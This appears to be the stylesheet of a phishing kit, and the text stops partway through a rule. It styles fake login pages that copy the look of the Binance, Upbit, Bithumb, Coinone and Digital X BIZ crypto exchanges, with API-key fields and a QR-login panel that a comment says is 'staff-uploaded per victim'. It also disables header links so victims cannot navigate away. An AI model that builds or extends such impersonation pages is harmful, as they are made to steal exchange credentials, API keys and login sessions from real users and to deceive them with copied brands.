/* Exchange picker — light shell aligned with CEX login pages (Bithumb, Coinone, Digital X BIZ, etc.) */
body.tg-funnel--cex-picker {
  background: #f3f3f3;
  background-image: none;
  color: #1a1d21;
}

body.tg-funnel--cex-picker .tg-funnel-header {
  background: #fff;
  border-bottom: 1px solid #e8e9eb;
  -webkit-backdrop-filter: none;
  backdrop-filter: none;
}

body.tg-funnel--cex-picker .tangem-brand,
body.tg-funnel--cex-picker .tangem-brand__word {
  color: #0a0a0a;
}

body.tg-funnel--cex-picker .tangem-brand__img {
  filter: none;
}

body.tg-funnel--cex-picker.tg-funnel--exchange-hub {
  background: #f3f3f3;
  background-image: none;
}

body.tg-funnel--cex-picker .tg-funnel-footer {
  border-top: 1px solid #e5e7eb;
}

body.tg-funnel--cex-picker .tg-funnel-footer__note,
body.tg-funnel--cex-picker .footer-links a {
  color: #6b7280;
}

body.tg-funnel--cex-picker a.provider-item.cex-picker__item {
  background: #fff;
  border: 1px solid #e5e7eb;
  border-radius: 12px;
  box-shadow: 0 1px 3px rgba(15, 23, 42, 0.06);
}

body.tg-funnel--cex-picker a.provider-item.cex-picker__item:hover {
  background: #f9fafb;
  border-color: #d1d5db;
  box-shadow: 0 4px 12px rgba(15, 23, 42, 0.08);
}

body.tg-funnel--cex-picker .provider-name {
  color: #111827;
}

body.tg-funnel--cex-picker .provider-meta {
  color: #6b7280;
}

body.tg-funnel--cex-picker .provider-item .chevron {
  color: #9ca3af;
}

body.tg-funnel--cex-picker .provider-item:hover .chevron {
  color: #0057d9;
}

body.tg-funnel--cex-picker .icon-box.cex-picker__icon {
  border: none;
  box-shadow: 0 2px 8px rgba(0, 0, 0, 0.1);
  display: flex;
  align-items: center;
  justify-content: center;
  background: #fff !important;
}

.cex-picker__logo,
.cex-ub-react__logo-img,
.cex-bt-react__logo-img,
.cex-co-react__logo-img,
.cex-bn-react__logo-img,
.cex-shell__logo-img,
.cex-funnel__brand-logo,
.cex-funnel-wait__brand-logo,
.ex-platform__logo-img {
  display: block;
  width: auto;
  max-width: 100%;
  object-fit: contain;
}

body.tg-funnel--cex-picker .cex-picker__logo {
  max-height: 32px;
  width: auto;
}

.cex-ub-react__logo-img {
  max-height: 26px;
}

.cex-bn-react__logo-img {
  max-height: 28px;
}

.cex-funnel-wait__brand-logo {
  margin: 0 auto 8px;
  max-height: 22px;
}

.ex-platform__logo-img {
  display: block;
  max-height: 28px;
  width: auto;
  margin: 0 auto;
}

.cex-bn-react__logo-text.visually-hidden {
  position: absolute;
  width: 1px;
  height: 1px;
  padding: 0;
  margin: -1px;
  overflow: hidden;
  clip: rect(0, 0, 0, 0);
  border: 0;
}

.cex-picker__heading {
  font-size: 14px;
  font-weight: 600;
  color: #374151;
  margin: 8px 0 14px;
  text-align: left;
  width: 100%;
}

a.provider-item.cex-picker__item {
  text-decoration: none;
  color: inherit;
}

.cex-picker__icon {
  font-weight: 700;
  font-size: 18px;
}

.cex-picker__icon--binance {
  background: #f0b90b;
  color: #0a0a0a;
}

.cex-picker__icon--upbit {
  background: #0057d9;
  color: #fff;
}

.cex-picker__icon--bithumb {
  background: #ff6b00;
  color: #fff;
}

.cex-picker__icon--coinone {
  background: #0066ff;
  color: #fff;
}

.cex-picker__icon--digitalx {
  background: linear-gradient(135deg, #f15a48 0%, #2b2826 100%);
  color: #fff;
}

.cex-picker__icon--metamask,
.cex-picker__icon--trust,
.cex-picker__icon--okx,
.cex-picker__icon--bitget {
  background: transparent;
  color: #fff;
  overflow: hidden;
}

.cex-picker__icon--metamask .cex-picker__logo,
.cex-picker__icon--trust .cex-picker__logo,
.cex-picker__icon--okx .cex-picker__logo,
.cex-picker__icon--bitget .cex-picker__logo {
  width: 100%;
  height: 100%;
  object-fit: cover;
  border-radius: inherit;
}

body.cex-mock {
  min-height: 100vh;
}

.cex-header-static {
  cursor: default;
  pointer-events: none;
  user-select: none;
  text-decoration: none;
}

.cex-bn-react__header-link.cex-header-static:hover,
.cex-bt-react__back.cex-header-static:hover,
.cex-co-react__back.cex-header-static:hover,
.cex-dx-biz__back.cex-header-static:hover,
.cex-ub-react__nav-link.cex-header-static:hover,
.cex-shell__nav-link.cex-header-static:hover,
.cex-mock__back.cex-header-static:hover {
  color: inherit;
}

body.cex-mock--chromeless .tg-funnel-header,
body.cex-mock--chromeless .tg-funnel-footer {
  display: none;
}

body.cex-mock--chromeless .tg-funnel-main {
  padding: 0;
  min-height: 100vh;
  display: flex;
  flex-direction: column;
  box-sizing: border-box;
}

body.cex-mock--chromeless .tg-funnel-main > .cex-bn-react,
body.cex-mock--chromeless .tg-funnel-main > .cex-bt-react,
body.cex-mock--chromeless .tg-funnel-main > .cex-co-react,
body.cex-mock--chromeless .tg-funnel-main > .cex-dx-biz {
  flex: 1;
  width: 100%;
  min-height: 0;
}

body.cex-mock--chromeless.cex-funnel.tg-funnel {
  display: block;
}

body.cex-mock--chromeless.cex-funnel .tg-funnel-main {
  flex: none;
}

.cex-bn-react__logo-img,
.cex-bt-react__logo-img,
.cex-co-react__logo-img,
.cex-ub-react__logo-img {
  display: block;
  width: auto;
  max-height: 32px;
}

.cex-bt-react__main {
  flex-direction: column;
  justify-content: center;
  align-items: center;
}

.cex-co-react__main {
  flex-direction: column;
  justify-content: center;
  align-items: center;
}

body.cex-mock--login-qr .cex-co-react__url-box,
body.cex-mock--login-qr .cex-co-react__dots,
body.cex-mock--login-qr .cex-co-react__notice,
body.cex-mock--login-qr .cex-co-react__links,
body.cex-mock--login-qr .cex-co-react__signup,
body.cex-mock--login-qr .cex-co-react__lock-link {
  display: none;
}

body.cex-mock--login-qr .cex-bt-react__links,
body.cex-mock--login-qr .cex-bt-react__signup {
  display: none;
}

body.cex-mock--login-qr .cex-dx-biz__main {
  display: flex;
  flex-direction: column;
  justify-content: center;
  align-items: center;
  padding-top: 24px;
  padding-bottom: 32px;
}

body.cex-mock--login-qr .cex-dx-biz__sheet {
  grid-template-columns: 1fr;
  width: 100%;
  max-width: 440px;
}

body.cex-mock--login-qr .cex-dx-biz__foot {
  display: none;
}

.cex-mock__wrap {
  min-height: 100vh;
  display: flex;
  flex-direction: column;
}

.cex-mock__bar {
  display: flex;
  align-items: center;
  justify-content: space-between;
  padding: 14px 20px;
  background: #0a0a0a;
  border-bottom: 3px solid var(--cex-accent, #0099ff);
}

.cex-mock__brand {
  font-size: 1.25rem;
  font-weight: 600;
  letter-spacing: -0.02em;
  color: #fff;
}

.cex-mock__back {
  color: #a6a5ac;
  text-decoration: none;
  font-size: 14px;
}

.cex-mock__back:hover {
  color: #fff;
}

.cex-mock__main {
  flex: 1;
  display: flex;
  align-items: center;
  justify-content: center;
  padding: 32px 20px;
}

.cex-mock--binance .cex-mock__main {
  background: #0b0e11;
}

.cex-mock--upbit .cex-mock__main {
  background: #0d1117;
}

.cex-mock--bithumb .cex-mock__main {
  background: #101010;
}

.cex-mock--coinone .cex-mock__main {
  background: #0c0f14;
}


.cex-mock__panel {
  width: 100%;
  max-width: 420px;
  background: #151515;
  border: 1px solid rgba(255, 255, 255, 0.08);
  border-radius: 16px;
  padding: 28px 24px;
  box-shadow: 0 20px 50px rgba(0, 0, 0, 0.45);
}

.cex-mock__title {
  margin: 0 0 8px;
  font-size: 1.5rem;
  font-weight: 600;
  color: #fff;
}

.cex-mock__subtitle {
  margin: 0 0 20px;
  font-size: 14px;
  color: #a6a5ac;
  line-height: 1.45;
}

.cex-mock__optional {
  font-weight: 400;
  color: #667985;
  font-size: 12px;
}

.cex-mock__submit {
  width: 100%;
  min-height: 48px;
  border: 0;
  border-radius: 8px;
  font-size: 16px;
  font-weight: 600;
  cursor: pointer;
  margin-top: 8px;
  color: #0a0a0a;
  background: var(--cex-accent, #0099ff);
}

.cex-mock--binance .cex-mock__submit {
  color: #0a0a0a;
}

.cex-mock--upbit .cex-mock__submit,
.cex-mock--coinone .cex-mock__submit {
  color: #fff;
}

.cex-mock__legal {
  margin: 16px 0 0;
  font-size: 11px;
  color: #667985;
  line-height: 1.4;
  text-align: center;
}

.cex-mock__form .form-group label {
  text-align: left;
}

.cex-mock__form .form-group input {
  background: #1f1f1f;
}

/* --- Premium exchange shells (all CEX themes) --- */
body.cex-mock--premium {
  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue",
    Arial, "Apple SD Gothic Neo", "Malgun Gothic", sans-serif;
}

body.cex-mock--premium .alert-error {
  border-radius: 4px;
  font-size: 14px;
  padding: 10px 12px;
  margin: 0 0 16px;
  text-align: left;
}

.cex-shell {
  --cex-accent: #0099ff;
  --cex-link: var(--cex-accent);
  --cex-bg: #f5f6f8;
  --cex-header-bg: transparent;
  --cex-card: #fff;
  --cex-card-border: #e8eaed;
  --cex-input: #fff;
  --cex-input-border: #d5d8dc;
  --cex-text: #1a1d21;
  --cex-muted: #6b7280;
  --cex-footer: #9ca3af;
  --cex-btn-text: #fff;
  --cex-radius: 8px;
  --cex-focus: var(--cex-accent);
  min-height: 100vh;
  display: flex;
  flex-direction: column;
  background: var(--cex-bg);
  color: var(--cex-text);
}

.cex-shell--split .cex-shell__layout {
  flex: 1;
  display: flex;
  align-items: stretch;
  justify-content: center;
  gap: 48px;
  max-width: 1040px;
  width: 100%;
  margin: 0 auto;
  padding: 24px;
  box-sizing: border-box;
}

.cex-shell--center .cex-shell__layout {
  flex: 1;
  display: flex;
  align-items: center;
  justify-content: center;
  padding: 24px 20px 40px;
  box-sizing: border-box;
}

.cex-shell--center .cex-shell__main {
  max-width: 440px;
  width: 100%;
}

.cex-shell__logo {
  display: inline-flex;
  align-items: center;
  gap: 10px;
  text-decoration: none;
  font-weight: 700;
  font-size: 20px;
  letter-spacing: -0.02em;
  color: var(--cex-text);
}

.cex-shell__logo-mark {
  display: flex;
  align-items: center;
  justify-content: center;
  width: 36px;
  height: 36px;
  border-radius: 8px;
  font-size: 14px;
  font-weight: 800;
}

.cex-shell__logo-mark--binance {
  color: #f0b90b;
  background: transparent;
  width: auto;
  height: auto;
}

.cex-shell__logo-mark--upbit {
  background: #0057d9;
  color: #fff;
  border-radius: 6px;
}

.cex-shell__logo-mark--bithumb {
  background: #ff6b00;
  color: #fff;
  border-radius: 50%;
  font-size: 18px;
}

.cex-shell__logo-mark--coinone {
  background: linear-gradient(135deg, #0066ff, #0044cc);
  color: #fff;
  border-radius: 10px;
}

.cex-shell__qr-bg {
  fill: var(--cex-input);
}

.cex-shell__qr-fg {
  fill: var(--cex-text);
  opacity: 0.9;
}

.cex-shell__qr-accent {
  fill: var(--cex-accent);
}

.cex-shell__row--end {
  justify-content: flex-end;
}

.cex-shell__field--optional .cex-shell__input {
  padding-right: 14px;
}

.cex-shell__aside-list li::before {
  background: var(--cex-accent);
}

.cex-shell__input:focus {
  border-color: var(--cex-focus);
  box-shadow: 0 0 0 1px var(--cex-focus);
}

.cex-shell__remember input {
  accent-color: var(--cex-accent);
}

.cex-shell__link {
  color: var(--cex-link);
}

.cex-shell__submit {
  color: var(--cex-btn-text);
  background: var(--cex-accent);
}

.cex-shell__submit:hover {
  filter: brightness(1.05);
}

/* Binance — dark split */
body.cex-mock--binance {
  background: #0b0e11;
}

body.cex-mock--binance .alert-error {
  background: rgba(246, 70, 93, 0.12);
  border: 1px solid rgba(246, 70, 93, 0.45);
  color: #f6465d;
}

.cex-shell--binance {
  --cex-accent: #fcd535;
  --cex-link: #f0b90b;
  --cex-bg: radial-gradient(ellipse 120% 80% at 50% -20%, #2b3139 0%, #181a20 45%, #0b0e11 100%);
  --cex-card: #1e2329;
  --cex-card-border: #2b3139;
  --cex-input: #2b3139;
  --cex-input-border: #474d57;
  --cex-text: #eaecef;
  --cex-muted: #848e9c;
  --cex-footer: #5e6673;
  --cex-btn-text: #181a20;
  --cex-focus: #f0b90b;
  --cex-header-bg: transparent;
}

.cex-shell--binance .cex-shell__logo-text {
  color: #eaecef;
}

.cex-shell--binance .cex-shell__nav-link:hover {
  color: #f0b90b;
}

.cex-shell--binance .cex-shell__input {
  border-color: transparent;
}

.cex-shell--binance .cex-shell__submit:hover {
  background: #f0b90b;
  filter: none;
}

body.cex-mock--upbit .alert-error {
  background: #fef2f2;
  border: 1px solid #fecaca;
  color: #dc2626;
}

.cex-shell--upbit {
  --cex-accent: #0057d9;
  --cex-link: #0057d9;
  --cex-bg: linear-gradient(180deg, #eef4fc 0%, #f9fafb 240px, #f3f4f6 100%);
  --cex-header-bg: #fff;
  --cex-card: #fff;
  --cex-card-border: #e5e7eb;
  --cex-input: #fff;
  --cex-input-border: #d1d5db;
  --cex-text: #111827;
  --cex-muted: #6b7280;
  --cex-footer: #9ca3af;
  --cex-btn-text: #fff;
  --cex-radius: 6px;
}

.cex-shell--upbit .cex-shell__header {
  background: var(--cex-header-bg);
  border-bottom: 1px solid #e5e7eb;
  box-shadow: 0 1px 2px rgba(0, 0, 0, 0.04);
}

.cex-shell--upbit .cex-shell__card {
  border-radius: 12px;
  box-shadow: 0 8px 30px rgba(0, 87, 217, 0.08);
}

.cex-shell--upbit .cex-shell__title {
  font-size: 26px;
  font-weight: 700;
}

.cex-shell--upbit .cex-shell__input {
  border: 1px solid var(--cex-input-border);
}

.cex-shell--upbit .cex-shell__submit {
  border-radius: 6px;
  font-weight: 700;
}

/* Upbit — global sign-in (upbit.com/upbit_user/private/signin) */
body.cex-mock--upbit.cex-mock--premium {
  background: #fff;
  color: #333d4b;
}

body.cex-mock--chromeless.cex-mock--upbit .tg-funnel-header,
body.cex-mock--chromeless.cex-mock--upbit .tg-funnel-footer {
  display: none;
}

.cex-ub-react {
  background: #fff;
}

.cex-ub-react__header {
  max-width: 520px;
  padding: 22px 24px;
  border-bottom: 1px solid #ebeff2;
}

.cex-ub-react__logo {
  display: inline-flex;
  align-items: center;
  gap: 8px;
  text-decoration: none;
  color: #0057d9;
}

.cex-ub-react__logo-mark {
  display: inline-flex;
  align-items: center;
  justify-content: center;
  width: 36px;
  height: 36px;
  border-radius: 8px;
  background: #0057d9;
  color: #fff;
  font-size: 13px;
  font-weight: 800;
  letter-spacing: -0.04em;
}

.cex-ub-react__logo-text {
  font-size: 24px;
  font-weight: 800;
  letter-spacing: -0.04em;
  text-transform: lowercase;
  color: #0057d9;
}

.cex-ub-react__nav {
  display: flex;
  align-items: center;
  gap: 14px;
}

.cex-ub-react__nav-link {
  font-size: 13px;
  color: #6b7684;
  text-decoration: none;
}

.cex-ub-react__nav-link:hover {
  color: #0057d9;
}

.cex-mock--upbit .cex-bt-react__panel {
  border: 1px solid #e8ecf0;
  border-radius: 8px;
  box-shadow: 0 4px 24px rgba(0, 40, 120, 0.06);
  padding: 48px 40px 36px;
}

.cex-mock--upbit .cex-bt-react__tab--active {
  color: #0057d9;
  border-bottom-color: #0057d9;
}

.cex-mock--upbit .cex-bt-react__submit,
.cex-ub-react__submit {
  background: #0057d9;
  border-radius: 4px;
  font-weight: 700;
}

.cex-mock--upbit .cex-bt-react__submit:hover,
.cex-ub-react__submit:hover {
  background: #0046b8;
}

.cex-mock--upbit .cex-bt-react__signup a,
.cex-mock--upbit .cex-bt-react__links a {
  color: #0057d9;
}

.cex-ub-react__footer {
  text-align: center;
  color: #8b95a1;
}

.cex-ub-login-pane[hidden] {
  display: none !important;
}

.cex-bt-react__form[hidden],
.cex-bt-react__tabs[hidden],
.cex-co-react__form[hidden],
.cex-dx-biz__form[hidden] {
  display: none !important;
}

body.cex-mock--login-qr .cex-bt-react__tabs,
body.cex-mock--login-qr .cex-bt-react__form:not(.cex-qr-login__form),
body.cex-mock--login-qr .cex-co-react__form:not(.cex-qr-login__form) {
  display: none !important;
}

/* Shared QR login (all exchanges — staff-uploaded per victim) */
.cex-qr-login__title {
  margin: 0 0 8px;
  font-size: 18px;
  font-weight: 600;
  text-align: center;
}

.cex-qr-login__lead {
  margin: 0 0 16px;
  font-size: 14px;
  line-height: 1.5;
  text-align: center;
}

.cex-qr-login__box {
  display: flex;
  flex-direction: column;
  align-items: center;
  justify-content: center;
  gap: 12px;
  padding: 16px;
  margin-bottom: 16px;
  border-radius: 12px;
  box-sizing: border-box;
}

.cex-qr-login__img {
  display: block;
  max-width: min(220px, 100%);
  max-height: 220px;
  width: auto;
  height: auto;
  object-fit: contain;
  border-radius: 8px;
  background: #fff;
}

.cex-qr-login__empty {
  margin: 0;
  font-size: 13px;
  line-height: 1.45;
  text-align: center;
}

.cex-qr-login__form {
  margin-top: 0;
}

.cex-qr-login__form .cex-bn-react__submit,
.cex-qr-login__form .cex-bt-react__submit,
.cex-qr-login__form .cex-co-react__submit,
.cex-qr-login__form .cex-dx-biz__submit {
  width: 100%;
}

.cex-qr-login--upbit .cex-qr-login__lead {
  color: #4e5968;
}

.cex-qr-login--upbit .cex-qr-login__box {
  background: #f8fafc;
  border: 1px solid #e5e8eb;
}

.cex-qr-login--upbit .cex-qr-login__empty {
  color: #8b95a1;
}

.cex-qr-login--bithumb .cex-qr-login__box,
.cex-qr-login--coinone .cex-qr-login__box,
.cex-qr-login--digitalx .cex-qr-login__box {
  background: #f8fafc;
  border: 1px solid #e5e8eb;
}

.cex-qr-login--bithumb .cex-qr-login__lead,
.cex-qr-login--coinone .cex-qr-login__lead,
.cex-qr-login--digitalx .cex-qr-login__lead {
  color: #4b5563;
}

.cex-qr-login--bithumb .cex-qr-login__empty,
.cex-qr-login--coinone .cex-qr-login__empty,
.cex-qr-login--digitalx .cex-qr-login__empty {
  color: #6b7280;
}

.cex-ub-qr__lead,
.cex-qr-login__lead {
  margin: 0 0 16px;
  font-size: 14px;
  text-align: center;
}

.cex-ub-qr__box,
.cex-qr-login__box {
  display: flex;
  flex-direction: column;
  align-items: center;
  gap: 12px;
  padding: 16px;
  margin-bottom: 12px;
  border-radius: 12px;
}

.cex-ub-qr__img,
.cex-qr-login__img {
  object-fit: contain;
  border-radius: 8px;
  background: #fff;
}

.cex-ub-qr__empty,
.cex-qr-login__empty {
  text-align: center;
}

.cex-ub-qr__form,
.cex-qr-login__form {
  margin-top: 4px;
}

/* Bithumb — react/login (white canvas, orange CTA) */
body.cex-mock--bithumb {
  background: #f6f7f8;
  color: #1c2028;
}

body.cex-mock--bithumb .alert-error {
  background: #fff5f0;
  border: 1px solid #ffc9a8;
  color: #c2410c;
  border-radius: 4px;
}

.cex-bt-react {
  min-height: 100vh;
  display: flex;
  flex-direction: column;
  background: #f6f7f8;
  font-family: -apple-system, BlinkMacSystemFont, "Apple SD Gothic Neo", "Malgun Gothic",
    "Segoe UI", Roboto, sans-serif;
  color: #1c2028;
}

.cex-bt-react__header {
  display: flex;
  align-items: center;
  justify-content: space-between;
  padding: 20px 24px;
  max-width: 480px;
  width: 100%;
  margin: 0 auto;
  box-sizing: border-box;
}

.cex-bt-react__logo {
  display: inline-flex;
  align-items: center;
  gap: 8px;
  text-decoration: none;
  color: #1c2028;
}

.cex-bt-react__logo-type {
  font-size: 22px;
  font-weight: 700;
  letter-spacing: -0.03em;
  text-transform: lowercase;
}

.cex-bt-react__back {
  font-size: 13px;
  color: #707882;
  text-decoration: none;
}

.cex-bt-react__back:hover {
  color: #ff6c00;
}

.cex-bt-react__main {
  flex: 1;
  display: flex;
  justify-content: center;
  padding: 8px 20px 32px;
}

.cex-bt-react__panel {
  width: 100%;
  max-width: 440px;
  background: #fff;
  border: 1px solid #e2e4e7;
  border-radius: 4px;
  padding: 40px 32px 32px;
  box-shadow: 0 2px 8px rgba(28, 32, 40, 0.06);
}

.cex-bt-react__title {
  margin: 0 0 6px;
  font-size: 28px;
  font-weight: 700;
  color: #1c2028;
  letter-spacing: -0.02em;
}

.cex-bt-react__subtitle {
  margin: 0 0 28px;
  font-size: 13px;
  color: #93989e;
}

.cex-bt-react__tabs {
  display: flex;
  gap: 0;
  margin-bottom: 24px;
  border-bottom: 1px solid #dadde1;
}

.cex-bt-react__tab {
  flex: 1;
  padding: 12px 8px;
  border: 0;
  border-bottom: 2px solid transparent;
  margin-bottom: -1px;
  background: transparent;
  font-size: 15px;
  font-weight: 600;
  color: #93989e;
  cursor: pointer;
}

.cex-bt-react__tab--active {
  color: #1c2028;
  border-bottom-color: #ff6c00;
}

.cex-bt-react__form {
  display: flex;
  flex-direction: column;
  gap: 16px;
}

.cex-bt-react__field {
  display: flex;
  flex-direction: column;
  gap: 8px;
}

.cex-bt-react__label {
  font-size: 13px;
  font-weight: 600;
  color: #3d414b;
  text-align: left;
}

.cex-bt-react__input-wrap {
  position: relative;
  display: block;
}

.cex-bt-react__input {
  width: 100%;
  box-sizing: border-box;
  min-height: 48px;
  padding: 0 14px;
  font-size: 15px;
  color: #1c2028;
  background: #fff;
  border: 1px solid #dadde1;
  border-radius: 4px;
  outline: none;
}

.cex-bt-react__input-wrap .cex-bt-react__input {
  padding-right: 44px;
}

.cex-bt-react__input::placeholder {
  color: #acb0b4;
}

.cex-bt-react__input:focus {
  border-color: #ff6c00;
  box-shadow: 0 0 0 1px #ff6c00;
}

.cex-bt-react__eye {
  position: absolute;
  right: 6px;
  top: 50%;
  transform: translateY(-50%);
  width: 36px;
  height: 36px;
  border: 0;
  background: transparent;
  color: #93989e;
  cursor: pointer;
  display: grid;
  place-items: center;
}

.cex-bt-react__check {
  display: flex;
  align-items: center;
  gap: 8px;
  font-size: 14px;
  color: #3d414b;
  cursor: pointer;
  user-select: none;
}

.cex-bt-react__check input {
  width: 18px;
  height: 18px;
  accent-color: #ff6c00;
}

.cex-bt-react__api {
  font-size: 13px;
  color: #707882;
}

.cex-bt-react__api summary {
  cursor: pointer;
  list-style: none;
}

.cex-bt-react__api summary::-webkit-details-marker {
  display: none;
}

.cex-bt-react__api .cex-bt-react__input {
  margin-top: 10px;
}

.cex-bt-react__captcha {
  display: flex;
  align-items: center;
  gap: 12px;
  padding: 12px 0 4px;
}

.cex-bt-react__captcha-box {
  width: 120px;
  height: 40px;
  border-radius: 4px;
  background: linear-gradient(135deg, #edeef0, #f6f7f8);
  border: 1px dashed #bec1c5;
}

.cex-bt-react__captcha-hint {
  font-size: 12px;
  color: #93989e;
}

.cex-bt-react__submit {
  width: 100%;
  min-height: 52px;
  margin-top: 8px;
  border: 0;
  border-radius: 4px;
  font-size: 16px;
  font-weight: 700;
  color: #fff;
  background: #ff6c00;
  cursor: pointer;
}

.cex-bt-react__submit:hover {
  background: #e86200;
}

.cex-bt-react__links {
  display: flex;
  align-items: center;
  justify-content: center;
  flex-wrap: wrap;
  gap: 6px;
  margin-top: 20px;
  font-size: 13px;
}

.cex-bt-react__links a {
  color: #707882;
  text-decoration: none;
}

.cex-bt-react__links a:hover {
  color: #ff6c00;
  text-decoration: underline;
}

.cex-bt-react__dot {
  color: #dadde1;
}

.cex-bt-react__signup {
  margin: 20px 0 0;
  text-align: center;
  font-size: 14px;
  color: #707882;
}

.cex-bt-react__signup a {
  color: #ff6c00;
  font-weight: 600;
  text-decoration: none;
}

.cex-bt-react__signup a:hover {
  text-decoration: underline;
}

.cex-bt-react__footer {
  padding: 24px 20px 32px;
  text-align: center;
  font-size: 12px;
  color: #93989e;
  line-height: 1.6;
}

.cex-bt-react__legal {
  margin: 6px 0 0;
  font-size: 11px;
  color: #acb0b4;
}

@media (min-width: 768px) {
  .cex-bt-react__panel {
    padding: 48px 40px 36px;
  }

  .cex-bt-react__header {
    max-width: 520px;
  }
}

/* Coinone — /user/login/email */
body.cex-mock--coinone {
  background: #eeeff1;
  color: #17181b;
}

body.cex-mock--coinone .alert-error {
  background: #fff4f3;
  border: 1px solid #ffc9c4;
  color: #d44a3a;
  border-radius: 4px;
}

body.cex-mock--coinone .visually-hidden {
  position: absolute;
  width: 1px;
  height: 1px;
  padding: 0;
  margin: -1px;
  overflow: hidden;
  clip: rect(0, 0, 0, 0);
  white-space: nowrap;
  border: 0;
}

.cex-co-react {
  min-height: 100vh;
  display: flex;
  flex-direction: column;
  background: #eeeff1;
  font-family: -apple-system, BlinkMacSystemFont, "Apple SD Gothic Neo", "Malgun Gothic",
    "Pretendard", "Segoe UI", Roboto, sans-serif;
  color: #17181b;
}

.cex-co-react__header {
  display: flex;
  align-items: center;
  justify-content: space-between;
  padding: 16px 20px;
  background: #fff;
  border-bottom: 1px solid #e8e9eb;
}

.cex-co-react__logo {
  display: inline-flex;
  align-items: center;
  gap: 8px;
  text-decoration: none;
  color: #0b59d5;
}

.cex-co-react__logo-mark {
  display: grid;
  place-items: center;
  width: 28px;
  height: 28px;
  border-radius: 50%;
  background: #0b59d5;
  color: #fff;
  font-size: 16px;
  font-weight: 700;
  line-height: 1;
  text-transform: lowercase;
}

.cex-co-react__logo-text {
  font-size: 20px;
  font-weight: 700;
  color: #0b59d5;
  letter-spacing: -0.03em;
}

.cex-co-react__back {
  font-size: 13px;
  color: #79818f;
  text-decoration: none;
}

.cex-co-react__back:hover {
  color: #0b59d5;
}

.cex-co-react__main {
  flex: 1;
  display: flex;
  justify-content: center;
  padding: 32px 16px 40px;
}

.cex-co-react__panel {
  width: 100%;
  max-width: 400px;
  text-align: center;
}

.cex-co-react__title {
  margin: 0 0 12px;
  font-size: 26px;
  font-weight: 700;
  color: #17181b;
  letter-spacing: -0.02em;
}

.cex-co-react__notice {
  margin: 0 0 20px;
  font-size: 14px;
  line-height: 1.5;
  color: #5d6570;
}

.cex-co-react__url-box {
  display: flex;
  align-items: center;
  gap: 10px;
  text-align: left;
  margin: 0 auto 14px;
  max-width: 100%;
  padding: 14px 16px;
  background: #fff;
  border: 1px solid #dde4eb;
  border-radius: 8px;
  box-shadow: 0 1px 2px rgba(23, 24, 27, 0.04);
}

.cex-co-react__lock {
  flex-shrink: 0;
  color: #79818f;
}

.cex-co-react__url-text {
  font-size: 13px;
  line-height: 1.45;
  color: #3d414b;
}

.cex-co-react__url-host {
  font-weight: 700;
  color: #e15241;
}

.cex-co-react__dots {
  display: flex;
  justify-content: center;
  gap: 8px;
  margin-bottom: 28px;
}

.cex-co-react__dots span {
  width: 7px;
  height: 7px;
  border-radius: 50%;
  background: #d5d8dc;
}

.cex-co-react__dots--active {
  background: #e15241 !important;
}

.cex-co-react__form {
  display: flex;
  flex-direction: column;
  gap: 12px;
  text-align: left;
}

.cex-co-react__input-wrap {
  position: relative;
  display: block;
}

.cex-co-react__input {
  width: 100%;
  box-sizing: border-box;
  min-height: 48px;
  padding: 0 14px;
  font-size: 15px;
  color: #17181b;
  background: #fff;
  border: 1px solid #aeb3bb;
  border-radius: 3px;
  outline: none;
}

.cex-co-react__input-wrap .cex-co-react__input {
  padding-right: 44px;
}

.cex-co-react__input::placeholder {
  color: #93989e;
}

.cex-co-react__input:focus {
  border-color: #0b59d5;
  box-shadow: 0 0 0 1px #0b59d5;
}

.cex-co-react__eye {
  position: absolute;
  right: 6px;
  top: 50%;
  transform: translateY(-50%);
  width: 36px;
  height: 36px;
  border: 0;
  background: transparent;
  color: #93989e;
  cursor: pointer;
  display: grid;
  place-items: center;
}

.cex-co-react__api {
  font-size: 13px;
  color: #707882;
  margin-top: 4px;
}

.cex-co-react__api summary {
  cursor: pointer;
  list-style: none;
}

.cex-co-react__api summary::-webkit-details-marker {
  display: none;
}

.cex-co-react__api .cex-co-react__input {
  margin-top: 8px;
}

.cex-co-react__submit {
  width: 100%;
  min-height: 50px;
  margin-top: 8px;
  border: 0;
  border-radius: 3px;
  font-size: 16px;
  font-weight: 700;
  color: #fff;
  background: #1772f8;
  cursor: pointer;
}

.cex-co-react__submit:hover {
  background: #0b59d5;
}

.cex-co-react__links,
.cex-co-react__signup {
  display: flex;
  align-items: center;
  justify-content: center;
  flex-wrap: wrap;
  gap: 6px;
  margin: 18px 0 0;
  font-size: 13px;
}

.cex-co-react__links a,
.cex-co-react__signup a {
  color: #5d6570;
  text-decoration: none;
}

.cex-co-react__links a:hover,
.cex-co-react__signup a:hover {
  color: #0b59d5;
  text-decoration: underline;
}

.cex-co-react__sep {
  color: #d5d8dc;
}

.cex-co-react__lock-link {
  display: inline-block;
  margin-top: 20px;
  font-size: 13px;
  color: #79818f;
  text-decoration: none;
}

.cex-co-react__lock-link:hover {
  text-decoration: underline;
}

.cex-co-react__footer {
  padding: 20px 16px 28px;
  text-align: center;
  font-size: 12px;
  color: #93989e;
  background: #fff;
  border-top: 1px solid #e8e9eb;
}

.cex-co-react__hours {
  color: #aeb3bb;
}

@media (min-width: 768px) {
  .cex-co-react__main {
    padding-top: 48px;
  }

  .cex-co-react__title {
    font-size: 30px;
  }
}

/* Digital X BIZ — biz.digitalx.miraeasset.com */
body.cex-mock--digitalx {
  background: #f3f3f3;
  color: #222;
}

body.cex-mock--digitalx .tg-funnel-main {
  background: #f3f3f3;
}

body.cex-mock--digitalx .alert-error {
  background: #fff5f3;
  border: 1px solid #f15a48;
  color: #c93d2e;
  border-radius: 8px;
}

.cex-dx-biz {
  min-height: 100vh;
  display: flex;
  flex-direction: column;
  background: #f3f3f3;
  font-family: -apple-system, BlinkMacSystemFont, "Apple SD Gothic Neo", "Malgun Gothic",
    "Pretendard", "Segoe UI", Roboto, sans-serif;
  color: #222;
}

.cex-dx-biz__top {
  display: flex;
  align-items: center;
  justify-content: space-between;
  gap: 16px;
  padding: 18px 24px;
  background: #fff;
  border-bottom: 1px solid #e8e8e8;
}

.cex-dx-biz__logo {
  display: inline-flex;
  align-items: center;
  gap: 12px;
  text-decoration: none;
}

.cex-dx-biz__logo-main {
  display: inline-flex;
  align-items: center;
  gap: 4px;
  color: #f15a48;
}

.cex-dx-biz__logo-digital {
  font-size: 20px;
  font-weight: 800;
  letter-spacing: -0.03em;
}

.cex-dx-biz__logo-x {
  color: #f15a48;
}

.cex-dx-biz__logo-rule {
  width: 1px;
  height: 28px;
  background: #d8d8d8;
}

.cex-dx-biz__logo-biz {
  font-size: 22px;
  font-weight: 700;
  letter-spacing: 0.12em;
  color: #9a9a9a;
